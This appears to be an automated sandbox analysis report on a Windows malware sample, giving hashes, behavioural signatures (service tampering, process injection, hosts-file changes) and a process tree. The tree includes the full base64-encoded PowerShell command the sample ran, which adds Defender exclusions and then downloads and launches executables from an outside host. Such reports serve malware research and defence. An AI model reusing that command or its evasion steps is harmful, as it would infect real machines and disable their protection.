Analysis
- max time kernel
66s - max time network
101s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
30/01/2023, 19:29
Static task
static1
Behavioral task
behavioral1
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win7-20220901-en
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win10v2004-20221111-en
17 signatures
150 seconds
General
- Target b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
- Size 360KB
- Sample230130-x69fkscc33
- SHA256 c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
- MD5 9c0c75bb31dfa46b2c91c12693bf45dd
- SHA1 b405694fbedc3ed57f486a0bd892fb48b2917d49
- SHA512 cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
- SSDEEP 6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe - Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1848 created 2584 1848 SmartDefRun.exe 45 PID 1848 created 2584 1848 SmartDefRun.exe 45 PID 1848 created 2584 1848 SmartDefRun.exe 45 PID 1848 created 2584 1848 SmartDefRun.exe 45 PID 2976 created 616 2976 powershell.EXE 3 - Blocklisted process makes network request 2 IoCs
flow pid Process 5 1084 powershell.exe 21 1084 powershell.exe - Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe - Executes dropped EXE 3 IoCs
pid Process 2116 C4Loader.exe 1848 SmartDefRun.exe 2864 SysApp.exe - Stops running service(s) 3 TTPs
- Uses the VBS compiler for execution 1 TTPs
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1044 set thread context of 3388 1044 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 84 PID 1848 set thread context of 2636 1848 SmartDefRun.exe 117 PID 2976 set thread context of 4700 2976 powershell.EXE 122 - Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1204 sc.exe 732 sc.exe 2308 sc.exe 3388 sc.exe 4864 sc.exe - Program crash 1 IoCs
pid pid_target Process procid_target 4084 1044 WerFault.exe 82 - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE - Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 1084 powershell.exe 1084 powershell.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 2864 SysApp.exe 1848 SmartDefRun.exe 1848 SmartDefRun.exe 4968 powershell.exe 4968 powershell.exe 1848 SmartDefRun.exe 1848 SmartDefRun.exe 1848 SmartDefRun.exe 1848 SmartDefRun.exe 4708 powershell.exe 4708 powershell.exe 1848 SmartDefRun.exe 1848 SmartDefRun.exe 640 powershell.EXE 2976 powershell.EXE 640 powershell.EXE 2976 powershell.EXE 2976 powershell.EXE 4700 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe 4700 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1084 powershell.exe Token: SeDebugPrivilege 4968 powershell.exe Token: SeDebugPrivilege 4708 powershell.exe Token: SeIncreaseQuotaPrivilege 4708 powershell.exe Token: SeSecurityPrivilege 4708 powershell.exe Token: SeTakeOwnershipPrivilege 4708 powershell.exe Token: SeLoadDriverPrivilege 4708 powershell.exe Token: SeSystemProfilePrivilege 4708 powershell.exe Token: SeSystemtimePrivilege 4708 powershell.exe Token: SeProfSingleProcessPrivilege 4708 powershell.exe Token: SeIncBasePriorityPrivilege 4708 powershell.exe Token: SeCreatePagefilePrivilege 4708 powershell.exe Token: SeBackupPrivilege 4708 powershell.exe Token: SeRestorePrivilege 4708 powershell.exe Token: SeShutdownPrivilege 4708 powershell.exe Token: SeDebugPrivilege 4708 powershell.exe Token: SeSystemEnvironmentPrivilege 4708 powershell.exe Token: SeRemoteShutdownPrivilege 4708 powershell.exe Token: SeUndockPrivilege 4708 powershell.exe Token: SeManageVolumePrivilege 4708 powershell.exe Token: 33 4708 powershell.exe Token: 34 4708 powershell.exe Token: 35 4708 powershell.exe Token: 36 4708 powershell.exe Token: SeIncreaseQuotaPrivilege 4708 powershell.exe Token: SeSecurityPrivilege 4708 powershell.exe Token: SeTakeOwnershipPrivilege 4708 powershell.exe Token: SeLoadDriverPrivilege 4708 powershell.exe Token: SeSystemProfilePrivilege 4708 powershell.exe Token: SeSystemtimePrivilege 4708 powershell.exe Token: SeProfSingleProcessPrivilege 4708 powershell.exe Token: SeIncBasePriorityPrivilege 4708 powershell.exe Token: SeCreatePagefilePrivilege 4708 powershell.exe Token: SeBackupPrivilege 4708 powershell.exe Token: SeRestorePrivilege 4708 powershell.exe Token: SeShutdownPrivilege 4708 powershell.exe Token: SeDebugPrivilege 4708 powershell.exe Token: SeSystemEnvironmentPrivilege 4708 powershell.exe Token: SeRemoteShutdownPrivilege 4708 powershell.exe Token: SeUndockPrivilege 4708 powershell.exe Token: SeManageVolumePrivilege 4708 powershell.exe Token: 33 4708 powershell.exe Token: 34 4708 powershell.exe Token: 35 4708 powershell.exe Token: 36 4708 powershell.exe Token: SeIncreaseQuotaPrivilege 4708 powershell.exe Token: SeSecurityPrivilege 4708 powershell.exe Token: SeTakeOwnershipPrivilege 4708 powershell.exe Token: SeLoadDriverPrivilege 4708 powershell.exe Token: SeSystemProfilePrivilege 4708 powershell.exe Token: SeSystemtimePrivilege 4708 powershell.exe Token: SeProfSingleProcessPrivilege 4708 powershell.exe Token: SeIncBasePriorityPrivilege 4708 powershell.exe Token: SeCreatePagefilePrivilege 4708 powershell.exe Token: SeBackupPrivilege 4708 powershell.exe Token: SeRestorePrivilege 4708 powershell.exe Token: SeShutdownPrivilege 4708 powershell.exe Token: SeDebugPrivilege 4708 powershell.exe Token: SeSystemEnvironmentPrivilege 4708 powershell.exe Token: SeRemoteShutdownPrivilege 4708 powershell.exe Token: SeUndockPrivilege 4708 powershell.exe Token: SeManageVolumePrivilege 4708 powershell.exe Token: 33 4708 powershell.exe Token: 34 4708 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1044 wrote to memory of 3388 1044 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 84 PID 1044 wrote to memory of 3388 1044 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 84 PID 1044 wrote to memory of 3388 1044 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 84 PID 1044 wrote to memory of 3388 1044 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 84 PID 1044 wrote to memory of 3388 1044 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 84 PID 3388 wrote to memory of 1084 3388 vbc.exe 87 PID 3388 wrote to memory of 1084 3388 vbc.exe 87 PID 3388 wrote to memory of 1084 3388 vbc.exe 87 PID 1084 wrote to memory of 2116 1084 powershell.exe 90 PID 1084 wrote to memory of 2116 1084 powershell.exe 90 PID 1084 wrote to memory of 2116 1084 powershell.exe 90 PID 1084 wrote to memory of 1848 1084 powershell.exe 91 PID 1084 wrote to memory of 1848 1084 powershell.exe 91 PID 1084 wrote to memory of 2864 1084 powershell.exe 92 PID 1084 wrote to memory of 2864 1084 powershell.exe 92 PID 1084 wrote to memory of 2864 1084 powershell.exe 92 PID 2476 wrote to memory of 1204 2476 cmd.exe 107 PID 2476 wrote to memory of 1204 2476 cmd.exe 107 PID 2476 wrote to memory of 732 2476 cmd.exe 108 PID 2476 wrote to memory of 732 2476 cmd.exe 108 PID 2476 wrote to memory of 2308 2476 cmd.exe 109 PID 2476 wrote to memory of 2308 2476 cmd.exe 109 PID 2476 wrote to memory of 3388 2476 cmd.exe 110 PID 2476 wrote to memory of 3388 2476 cmd.exe 110 PID 2476 wrote to memory of 4864 2476 cmd.exe 111 PID 2476 wrote to memory of 4864 2476 cmd.exe 111 PID 2476 wrote to memory of 3432 2476 cmd.exe 112 PID 2476 wrote to memory of 3432 2476 cmd.exe 112 PID 2476 wrote to memory of 4200 2476 cmd.exe 113 PID 2476 wrote to memory of 4200 2476 cmd.exe 113 PID 2476 wrote to memory of 4380 2476 cmd.exe 114 PID 2476 wrote to memory of 4380 2476 cmd.exe 114 PID 2476 wrote to memory of 1904 2476 cmd.exe 115 PID 2476 wrote to memory of 1904 2476 cmd.exe 115 PID 2476 wrote to memory of 1288 2476 cmd.exe 116 PID 2476 wrote to memory of 1288 2476 cmd.exe 116 PID 1848 wrote to memory of 2636 1848 SmartDefRun.exe 117 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 2976 wrote to memory of 4700 2976 powershell.EXE 122 PID 4700 wrote to memory of 616 4700 dllhost.exe 3 PID 4700 wrote to memory of 672 4700 dllhost.exe 1 PID 4700 wrote to memory of 960 4700 dllhost.exe 79 PID 4700 wrote to memory of 332 4700 dllhost.exe 78 PID 4700 wrote to memory of 516 4700 dllhost.exe 10 PID 4700 wrote to memory of 752 4700 dllhost.exe 77 PID 4700 wrote to memory of 1028 4700 dllhost.exe 76 PID 4700 wrote to memory of 1064 4700 dllhost.exe 75 PID 4700 wrote to memory of 1132 4700 dllhost.exe 74 PID 4700 wrote to memory of 1176 4700 dllhost.exe 73 PID 4700 wrote to memory of 1216 4700 dllhost.exe 72 PID 4700 wrote to memory of 1228 4700 dllhost.exe 71 PID 4700 wrote to memory of 1336 4700 dllhost.exe 70 PID 4700 wrote to memory of 1380 4700 dllhost.exe 12 PID 4700 wrote to memory of 1404 4700 dllhost.exe 69 PID 4700 wrote to memory of 1412 4700 dllhost.exe 68 PID 4700 wrote to memory of 1536 4700 dllhost.exe 67 PID 4700 wrote to memory of 1552 4700 dllhost.exe 66
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:332
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{28395a24-646c-4194-a133-6874c33016e3}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1612
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3548
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:5116
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1044 -ip 10442⤵PID:5004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3128
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:3120
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1512
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:3488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4228
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2220
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4548
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3940
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3680
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3444
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3268
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2584
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C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2116
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
